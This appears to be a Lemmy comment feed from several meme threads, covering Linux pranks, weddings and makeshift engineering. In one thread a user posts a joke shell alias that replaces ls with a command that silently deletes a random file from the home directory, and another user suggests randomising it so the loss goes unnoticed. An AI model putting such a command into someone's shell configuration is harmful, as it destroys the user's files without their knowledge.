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programmer_belch, to linuxmemes in Just a little bit of trolling...
@programmer_belch@lemmy.dbzer0.com avatar

Why not make it more mischievous?


<span style="color:#323232;">alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"
</span>

This line erases one random file from your home directory and then uses ls as normal. You won’t know what vanished until you need it or it removes a needed library or binary.

Asudox,
@Asudox@lemmy.world avatar

lil trollin’

jroid8,

You monster

JustUseMint,

Jesus fucking Christ

wabafee,
@wabafee@lemmy.world avatar

Calm down satan

yuki2501,
@yuki2501@lemmy.world avatar

Or to be REALLY mischievous in the long tun, randomize it with 0.1% probability of erasing the file.

programmer_belch,
@programmer_belch@lemmy.dbzer0.com avatar

Russian Roulette Linux, the new distro using a coreutils implementation with a little trick

CaptainMcMonkey, to memes in 🧙‍♂️

This one is really dependent upon whose wedding it is. I know a couple people that would love this.

Gabu, to memes in 🧙‍♂️

Seems like the perfect way to stage a polyamorous wedding.

RustyNova, to memes in 🧙‍♂️

Nah. It’s a great joke

EmpathicVagrant,

Honestly, though. Like that’s how I know I invited the right people to the event.

zammy95,

Agreed that it’s hilarious, but I’m pretty sure I’ve heard that if someone interrupts the portion, the officiater has to go through like… a whole process legally because of it? I don’t know if that matters realistically if he knows too and is cool though

iAvicenna,
@iAvicenna@lemmy.world avatar

one %99 percent of the attendants may not understand

cygnus, to linuxmemes in Just a little bit of trolling...
@cygnus@lemmy.ca avatar

Joke’s on you, I have transcended using ls because I have my entire folder structure memorized.

wiikifox,
@wiikifox@pawb.social avatar

clones a git repo

Rentlar,

“Real” linux users never exit vim and just use the internal shell there, so they are protected.

LinyosT,

Only because exiting vim is still long lost knowledge.

cygnus, (edited )
@cygnus@lemmy.ca avatar

Legend has it that the Elders knew of a world outside Vim, a world that encompasses it and all other things. That arcana is now lost, and none can transcend our plane of existence. Vim is all we know.

pewgar_seemsimandroid,

boo! emacs

Gestrid, to memes in 🧙‍♂️

Only do it if it’s supposed to be part of the wedding. Otherwise, don’t do it. It would be very disruptive and distracting and could make an otherwise beautiful moment very awkward. And it’d be something the bride and groom would have to remember for the rest of their lives every time they put on their rings.

Blue_Morpho,

And it’d be something the bride and groom would have to remember for the rest of their lives every time they put on their rings.

That’s not a very convincing argument to not do that every week at a random wedding.

Darkassassin07,
@Darkassassin07@lemmy.ca avatar

Who lets randos into their wedding?

Gabu,

But I am Annatar, the Lord of Gifts!

Blue_Morpho, (edited )

Weddings have too much going on for anyone to keep track. It’s not a concert. No one is checking for tickets. After the wedding, receptions have assigned seating. But by then, you’d be long gone and planning the next Tolkiened wedding.

Gestrid,

Originally, before I posted it, my comment had something like “inb4 someone says you’re making it sound like a great idea”.

I really should’ve kept that in there.

teamevil,

Let’s do some awkward wedding crashing, we’ll be the life of the reception!

MrJameGumb, to memes in WD-40 and some tape are the only tools you need in this life.
@MrJameGumb@lemmy.world avatar

My dad used to refer to something he called “Scottish engineering”, which meant you start a project with good intentions but just end up swearing frequently and throwing everything in the fire lol

sbv,

this is also hobby software development

KingThrillgore,
@KingThrillgore@lemmy.ml avatar

This tracks, have you seen how many times I restart a React project?

ninjan, to linuxmemes in Just a little bit of trolling...

That sudo might save the poor victims ass if they’re awake enough to wonder “why does it ask for password when I’m just doing ls?”

Otherwise it’s a good lesson in always having backups / easy way to reproduce your setup.

independantiste,
@independantiste@sh.itjust.works avatar

Unless they updated their system with Sudo shortly before

bdonvr,

Pffft who’s not using passwordless sudo anyway

ninjan,

I don’t, after doing the classic rm -r -f / when I meant ./ the second time I realized I’m too much of a dumbass to be allowed to use sudo without password.

voidMainVoid,

I’ve always had a password. One of the biggest benefits of Linux is security. Why would you undermine that by not using a password?

bdonvr,

I do have a password. Sudo is just setup not to ask for it.

On servers of course I use a password for sudo - but on a home machine there’s not much of a point I don’t think. It’s off when I’m not actively using it, and if some attacker or malware has access to my user they already have access to all my important files, or have physical access.

Fridgeratr, to memes in WD-40 and some tape are the only tools you need in this life.

“unplanned rapid disassembly” is one of my favorites

crapwittyname,

Sometimes referred to as a “hard start”

Tlaloc_Temporal,
@Tlaloc_Temporal@lemmy.ca avatar

*Rapid Unscheduled Disassembly, a RUD.

sxan, to memes in WD-40 and some tape are the only tools you need in this life.
@sxan@midwest.social avatar

If it doesn’t work, force it; if it breaks, it needed replacing anyway.

This simple advice has saved me from countless analysis paralysis problems.

tdawg, to memes in 🧙‍♂️

Are you kidding? This is bestie energy

FlatFootFox, to memes in WD-40 and some tape are the only tools you need in this life.
@FlatFootFox@lemmy.world avatar

My favorite one of these shows up in 3D printing. The most popular open source 3D print server gives you a head’s up if your printer’s firmware lacks “Thermal Runaway Protection”. If you click the learn more link, it patiently explains, “There aren’t preventative measures to stop your printer from accidentally catching itself on fire”.

(It’s fine, you usually just need to install a decent MOSFET in the cheaper printers.)

einlander,

Octoprint?

FlatFootFox,
@FlatFootFox@lemmy.world avatar

Yup!

grue, to memes in WD-40 and some tape are the only tools you need in this life.

“Thermal shock” doesn’t necessarily mean it burned; it can also mean that it spontaneously shattered.

southsamurai, to memes in 🧙‍♂️
@southsamurai@sh.itjust.works avatar

I would have loved that at our wedding lol

bappity, to memes in At least it's not a bethesda game...
@bappity@lemmy.world avatar

the wizard is Todd Howard. stop him before he develops another game!!

drew_belloc,
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Quickly, before the skyrim steampunk launches

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